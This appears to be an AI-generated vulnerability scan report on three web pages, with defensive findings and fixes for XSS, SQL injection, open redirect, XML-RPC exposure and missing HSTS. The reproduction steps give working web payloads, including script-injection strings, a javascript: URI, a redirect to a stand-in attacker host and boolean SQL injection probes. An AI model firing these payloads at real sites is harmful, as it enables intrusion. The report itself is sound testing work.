Agentic Security Scanner Report

Target: 3 URLs scanned (vulnerable-website/catalog, vulnerable-website/blog, www.cloudsine.tech/contact-us)  |  Scan ID: Combined report (3 scans)  |  Type: Page-Targeted Agentic (safe mode)  |  Model: claude-opus-4-8

Summary

Scan started: 2026-06-15 02:19:42

Scan ended: 15/06/2026, 03:15

URLs scanned: 3

0
CRITICAL
3
HIGH
1
MEDIUM
2
LOW
0
INFO

This report includes 0 Critical, 3 High, 1 Medium, 2 Low, and 0 Informational severity issues across 3 scanned URLs.

Critical and High severity issues usually require immediate attention as they indicate serious security weaknesses. Medium severity issues may allow attackers limited access or reveal sensitive information. Low and Informational findings represent defense-in-depth improvements.

All findings were validation-gated: each was reproduced via a safe proof-of-concept by the Claude AI validation agent.

Host Summary

HostStartEndCriticalHighMediumLowInfo
vulnerable website
https://vulnerable-website/catalog
2026-06-15 02:19:42 15/06/2026, 02:22 0 2 0 0 0
vulnerable website
https://vulnerable-website/blog
2026-06-15 02:44:27 15/06/2026, 02:50 0 1 1 0 0
www.cloudsine.tech
https://www.cloudsine.tech/contact-us/
2026-06-15 03:11:17 15/06/2026, 03:15 0 0 0 2 0

Vulnerability Summary

HostSeverityDescriptionCVSSCount
vulnerable website HIGH Reflected XSS in catalog searchTerm parameter (JavaScript string breakout) 6.1 1
vulnerable website HIGH SQL Injection in 'category' parameter of /catalog 8.6 1
vulnerable website HIGH Reflected DOM-based XSS via `search` parameter in /blog/ (document.write sink) 6.1 1
vulnerable website MEDIUM DOM-based XSS / Open Redirect via `back` parameter (location sink) on /blog/ and /blog/post 5.4 1
www.cloudsine.tech LOW XML-RPC interface enabled (brute-force amplification / pingback abuse surface) 3.7 1
www.cloudsine.tech LOW Missing HTTP Strict-Transport-Security (HSTS) header 3.7 1

Detailed Findings

vulnerable website — https://vulnerable-website/catalog
1. Reflected XSS in catalog searchTerm parameter (JavaScript string breakout) HIGH
SeverityHIGH
ConfidenceHigh
Hosthttps://vulnerable-website/catalog/catalog?searchTerm=
CategoryReflected XSS
CWECWE-79
CVSS6.1
Evidence
Target: https://vulnerable-website/catalog?searchTerm= Probe 1 — raw backslash (evidence/http/0013.json): GET /catalog?searchTerm=test%5Cw3b0r10nXSSx Response inline script: var searchText = 'test\w3b0r10nXSSx'; -> backslash reflected RAW, not doubled. Output encoding does not escape '\'. Probe 2 — breakout with benign marker (evidence/http/0014.json): GET /catalog?searchTerm=%5C%27%3Bw3b0r10nXSSx%2F%2F (searchTerm=\';w3b0r10nXSSx//) Response inline script: var searchText = '\\';w3b0r10nXSSx//'; -> app escaped the single quote to \', but the raw leading backslash forms \\ (literal backslash, ends string-content escaping), then ' TERMINATES the string. ';w3b0r10nXSSx//' follows in raw JS code context; trailing '; neutralised by //. Marker w3b0r10nXSSx sits in executable JS position. Both responses HTTP 200, content-type text/html, reflection inside <script> in <section class=search>. No CSP header present.
Reproduction Steps
1. GET https://vulnerable-website/catalog?searchTerm=test%5Cw3b0r10nXSSx — observe `var searchText = 'test\w3b0r10nXSSx';` (backslash reflected unescaped). 2. GET https://vulnerable-website/catalog?searchTerm=%5C%27%3Bw3b0r10nXSSx%2F%2F — observe `var searchText = '\\';w3b0r10nXSSx//';` (JS string closed; marker in executable JS context). 3. A weaponized (not executed here) payload would be searchTerm=\';alert(document.domain)// .
Recommendation

Properly JavaScript-encode the value when embedding in an inline script context: escape the backslash first (\\ -> \\\\) and then the quote, or better, JSON-encode the value (e.g. JSON.stringify server-side) so all control characters are handled. Preferably avoid emitting user input into inline <script>; instead set the input's value server-side via an HTML-encoded attribute or pass data through a data-* attribute / textContent and read it in JS. Add a Content-Security-Policy that forbids inline script as defense-in-depth.

AI Reasoning

2. SQL Injection in 'category' parameter of /catalog HIGH
SeverityHIGH
ConfidenceHigh
Hosthttps://vulnerable-website/catalog/catalog?category=
CategorySQL Injection
CWECWE-89
CVSS8.6
Evidence
Independently reproduced all four requests against https://vulnerable-website/catalog: - GET /catalog?category=Gin -> 200, 8 products (evidence/http/0015.json, body_length 13109). - GET /catalog?category=Gin%27 (single quote) -> 500 Internal Server Error, page body renders "Internal Server Error" (evidence/http/0016.json, body_length 3761). - GET /catalog?category=Gin%27+AND+%271%27%3D%271 (TRUE) -> 200, full 8-product list incl. Sloe Gin Timer Kit / Purple Hat Gin (evidence/http/0017.json, body_length 13153). - GET /catalog?category=Gin%27+AND+%271%27%3D%272 (FALSE) -> 200, "Sorry! No result found" no-results block, zero products (evidence/http/0018.json, body_length 9414). The TRUE/FALSE pair is identical except for the injected boolean, producing a consistent content differential, confirming the input is concatenated into a SQL WHERE clause.
Reproduction Steps
1. GET https://vulnerable-website/catalog?category=Gin -> 200, 8 products (baseline). 2. GET https://vulnerable-website/catalog?category=Gin' -> 500 Internal Server Error (syntax break). 3. GET https://vulnerable-website/catalog?category=Gin' AND '1'='1 -> 200, full product list present. 4. GET https://vulnerable-website/catalog?category=Gin' AND '1'='2 -> 200, "Sorry! No result found". Compare steps 3 vs 4: identical request except the boolean operand, yielding a repeatable products-vs-no-results differential => boolean-based SQL injection.
Recommendation

Use parameterised queries / prepared statements for the `category` filter rather than string concatenation. Apply an allow-list of known categories (All, Accessories, Accompaniments, Books, Gin, Juice). Return a generic error page instead of leaking 500s on malformed input, and enforce least-privilege DB credentials.

AI Reasoning

A single quote produces a 500 (syntax break) and the AND '1'='1' vs AND '1'='2' pair produces a deterministic content differential (products vs no-results), which is the canonical signature of in-band boolean SQL injection in a WHERE clause. The differential is repeatable and tied directly to the boolean logic.

vulnerable website — https://vulnerable-website/blog
3. Reflected DOM-based XSS via `search` parameter in /blog/ (document.write sink) HIGH
SeverityHIGH
ConfidenceHigh
Hosthttps://vulnerable-website/bloghttps://vulnerable-website/blog/?search=
CategoryDOM-based Cross-Site Scripting (Reflected)
CWECWE-79
CVSS6.1
Evidence
Live responses (this run): - evidence/http/0021.json: GET /blog/?search=w3b0r10nXSSx%22+onload%3D%22alert(document.domain)%22+x%3D%22 -> HTTP 200. Body contains the unmodified inline sink: function trackSearch(query){ document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query=(new URLSearchParams(window.location.search)).get('search'); if(query){trackSearch(query);} The server-side <input ... value="w3b0r10nXSSx&quot; onload=&quot;..."> reflection is HTML-encoded (safe), proving the DOM path (raw window.location.search) is the live vector. - evidence/http/0022.json: GET /blog/?search=w3b0r10nXSSx<svg> -> HTTP 400 "Tag is not allowed" (angle-bracket filter). - evidence/http/0023.json: GET /blog/?search=w3b0r10nXSSx -> HTTP 200 baseline, sink present. - scripts/poc_domxss_validate.js (node) output: URLSearchParams.get('search') returns raw decoded value 'w3b0r10nXSSx" onload="alert(document.domain)" x="'; document.write emits <img src="/resources/images/tracker.gif?searchTerms=w3b0r10nXSSx" onload="alert(document.domain)" x="">; "Breaks out of src into onload attribute: true".
Reproduction Steps
1. Open https://vulnerable-website/blog/?search=w3b0r10nXSSx%22%20onload%3D%22alert(document.domain)%22%20x%3D%22 in a browser. Response is HTTP 200 (filter bypassed: payload has no </>). 2. On load, the inline script reads search via new URLSearchParams(window.location.search).get('search') = raw 'w3b0r10nXSSx" onload="alert(document.domain)" x="'. 3. document.write outputs <img src="/resources/images/tracker.gif?searchTerms=w3b0r10nXSSx" onload="alert(document.domain)" x="">; the " closes src and injects an onload handler that executes when tracker.gif loads. Differential confirmation (non-destructive): search=...<svg> -> HTTP 400 "Tag is not allowed"; quote-only payload -> HTTP 200 with sink intact. Re-run scripts/poc_domxss_validate.js (node) to reproduce the exact document.write breakout deterministically.
Recommendation

Do not pass untrusted input to document.write. HTML-encode the search value before insertion, or build the img via DOM APIs (document.createElement('img'); img.src = '/resources/images/tracker.gif?searchTerms=' + encodeURIComponent(query)) so the value is confined to the URL/attribute and cannot break out. Additionally apply the same server-side sanitization (already enforced for < >) to quotes is insufficient for the DOM path — the fix must be client-side at the sink. Consider a CSP that disallows inline event handlers as defense-in-depth.

AI Reasoning

4. DOM-based XSS / Open Redirect via `back` parameter (location sink) on /blog/ and /blog/post MEDIUM
SeverityMEDIUM
ConfidenceHigh
Hosthttps://vulnerable-website/bloghttps://vulnerable-website/blog/?back= (also /blog/post?back=)
CategoryDOM-based Cross-Site Scripting / Open Redirect
CWECWE-79
CVSS5.4
Evidence
Sink served on /blog/post (GET https://vulnerable-website/blog/post?postId=1, evidence_ref evidence/http/0025.json): <a href='#' onclick='event.preventDefault(); location = new URLSearchParams(location.search).get("back") || "/blog";'>Back to Blog</a> The `back` parameter is read client-side from location.search (DOM source) and assigned to `location` (DOM sink) with no scheme validation/encoding. Deterministic PoC scripts/poc_back_sink.js (node, exit=0) replicates the exact parsing: search=?back=javascript:alert(document.domain) => location = "javascript:alert(document.domain)" [scheme=javascript] search=?back=https://evil.example => location = "https://evil.example" [scheme=https] search=?back= => location = "/blog" (safe fallback) search=?foo=bar => location = "/blog" (safe fallback) Confirms attacker-controlled javascript:/http(s): URIs pass unfiltered into location. Correction vs candidate: /blog/ (evidence/http/0024.json) only contains the hidden <input name=back value="/blog/"> form field; it does NOT contain the onclick location sink. The executable sink is on /blog/post only.
Reproduction Steps
1. GET https://vulnerable-website/blog/post?postId=1 and observe the served sink: onclick='... location = new URLSearchParams(location.search).get("back") || "/blog";'. 2. In a browser, load https://vulnerable-website/blog/post?postId=1&back=https://evil.example and click "Back to Blog" -> browser navigates to evil.example (open redirect). 3. Load https://vulnerable-website/blog/post?postId=1&back=javascript:alert(document.domain) and click "Back to Blog" -> javascript: URI is assigned to location, executing script in the vulnerable-website origin (DOM XSS). 4. Deterministic non-browser proof: run scripts/poc_back_sink.js with node to show the exact value assigned to `location` for each attacker-controlled query string.
Recommendation

Before assigning the `back` value to location, validate it against an allow-list of relative, same-origin paths: reject any value containing a scheme (e.g. reject if it does not start with a single '/') and explicitly block 'javascript:'/'data:'/'vbscript:' and protocol-relative '//' prefixes. Prefer constructing a same-origin URL and verifying url.origin === location.origin, falling back to '/blog' otherwise. Avoid assigning user-controlled data to location entirely where possible.

AI Reasoning

5. XML-RPC interface enabled (brute-force amplification / pingback abuse surface) LOW
SeverityLOW
ConfidenceHigh
Hosthttps://www.cloudsine.tech/contact-us/
CategoryBroken Authentication / Attack Surface
CWECWE-307
CVSS3.7
Evidence
Reproduced independently: - GET https://www.cloudsine.tech/xmlrpc.php -> HTTP 405, header `Allow: POST`, body "XML-RPC server accepts POST requests only." (evidence/http/0020.json) - POST https://www.cloudsine.tech/xmlrpc.php (Content-Type: text/xml) -> HTTP 200, Content-Type text/xml, body well-formed <methodResponse><fault> faultCode -32700 "parse error. not well formed" (evidence/http/0021.json, 0022.json) The methodResponse fault is emitted by the WordPress XML-RPC processor itself, proving the interface is enabled and actively parsing XML-RPC requests.
Reproduction Steps
1) curl -i https://www.cloudsine.tech/xmlrpc.php -> HTTP 405, body "XML-RPC server accepts POST requests only.", Allow: POST. 2) curl -i -X POST -H "Content-Type: text/xml" --data '<x>' https://www.cloudsine.tech/xmlrpc.php -> HTTP 200, text/xml, <methodResponse><fault> faultCode -32700. Receiving a methodResponse confirms the XML-RPC processor is active and reachable.
Recommendation

Disable XML-RPC if unused (e.g., block /xmlrpc.php at the web server/Cloudflare WAF, or use a plugin/filter to disable it). If XML-RPC is required, disable the system.multicall and pingback methods (xmlrpc_methods / xmlrpc_pingback_error filters) to remove brute-force amplification and SSRF/DDoS reflection vectors, and ensure login-security/2FA covers XML-RPC auth paths.

AI Reasoning

The endpoint is reachable and actively parses XML-RPC requests. XML-RPC is a well-known vector for credential brute-force amplification (system.multicall) and pingback-based SSRF/DDoS, bypassing some login-form protections. Severity kept LOW because Wordfence login security/2FA is present which mitigates pure credential brute force.

6. Missing HTTP Strict-Transport-Security (HSTS) header LOW
SeverityLOW
ConfidenceHigh
Hosthttps://www.cloudsine.tech/contact-us/
CategorySession/Transport Security
CWECWE-319
CVSS3.7
Evidence
Three GET/HEAD requests over HTTPS returned 200 with full response header sets, none containing a Strict-Transport-Security header: - GET https://www.cloudsine.tech/wp-login.php -> headers: date, content-type, server: cloudflare, x-frame-options: SAMEORIGIN, content-security-policy: frame-ancestors 'self';, referrer-policy: strict-origin-when-cross-origin, set-cookie: wordpress_test_cookie=...; secure; HttpOnly, nel, report-to. NO strict-transport-security. (evidence/http/0023.json) - HEAD https://www.cloudsine.tech/ -> headers include link, cf-cache-status, report-to, nel. NO strict-transport-security. (evidence/http/0024.json) - GET https://www.cloudsine.tech/contact-us/ -> headers include link, nel, report-to. NO strict-transport-security. (evidence/http/0025.json) Reproduction: `curl -sI https://www.cloudsine.tech/wp-login.php | grep -i strict-transport-security` returns no output.
Reproduction Steps
1. Run: curl -sI https://www.cloudsine.tech/wp-login.php | grep -i strict-transport-security (returns nothing) 2. Repeat for https://www.cloudsine.tech/ and https://www.cloudsine.tech/contact-us/ — same result. 3. Observe all responses are HTTP 200 with full header sets but no Strict-Transport-Security header.
Recommendation

Enable HSTS by emitting `Strict-Transport-Security: max-age=31536000; includeSubDomains` (consider adding `preload` and submitting to the HSTS preload list after validating all subdomains are HTTPS-ready). This can be configured at the Cloudflare edge (SSL/TLS > Edge Certificates > HSTS) and/or the WordPress/origin server. Ensure HTTP-to-HTTPS redirects remain in place.

AI Reasoning

No HSTS header observed on any response including the login page, which handles credentials and sets session cookies. While the test cookie has Secure+HttpOnly flags, the absence of HSTS leaves first-visit and subdomain traffic vulnerable to SSL stripping. Low severity, transport/session hardening gap.